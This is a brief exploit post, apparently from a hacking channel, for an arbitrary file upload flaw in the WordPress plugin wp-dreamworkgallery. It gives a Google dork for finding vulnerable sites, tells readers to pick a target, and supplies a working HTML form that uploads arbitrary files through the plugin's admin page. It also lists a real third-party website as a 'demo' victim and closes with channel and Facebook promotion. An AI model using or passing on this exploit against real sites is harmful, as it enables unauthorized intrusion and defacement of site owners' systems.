Wordpress File Upload Vulnerability 2017

##################################################JokerSecurity#########################################################
# Title : Wordpress  File Upload Vulnerability 2017
# Dork  : inurl:/wp-content/plugins/wp-dreamworkgallery
# Tested on: [ Kali-Linux]
# MyChannel Youtube : https://www.youtube.com/channel/UCPRRAzu8dMWxChn-RruC-eg/videos
# Myblog : http://kader-information.blogspot.com/
# Link video : https://www.youtube.com/watch?v=h1xWghkVPEw
######################
# [+] DESCRIPTION :
######################

# 1: Search Google Dork and Choose a Target

###########
Code  exploit :
###########
<html>
<body>
<form action="http://www.site.com/wp-admin/admin.php?page=dreamwork_manage" method="POST" enctype="multipart/form-data">
<input type="hidden" name="task" value="drm_add_new_album" />
<input type="hidden" name="album_name" value="Arbitrary File Upload" />
<input type="hidden" name="album_desc" value="Arbitrary File Upload" />
<input type="file" name="album_img" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

######

# 3  Upload Your File ==== File.html

######
Demo :
######
http://www.theatredumordant.fr/wp-content/plugins/wp-dreamworkgallery/xml/drm_all.xml

######################

subscribe for my channel and page in facebook

# My Blogger : http://kader-information.blogspot.com/

# Page FacebOOk 1 : https://www.facebook.com/AnonymousPalestine.vip

# Page Facebook 2 : http://facebook.com/kali.linux.pentesting.tutorials/

# Page FacebOOK 3 : https://www.facebook.com/Professional.hacker.25/

By <3

##################################################JokerSecurity#########################################################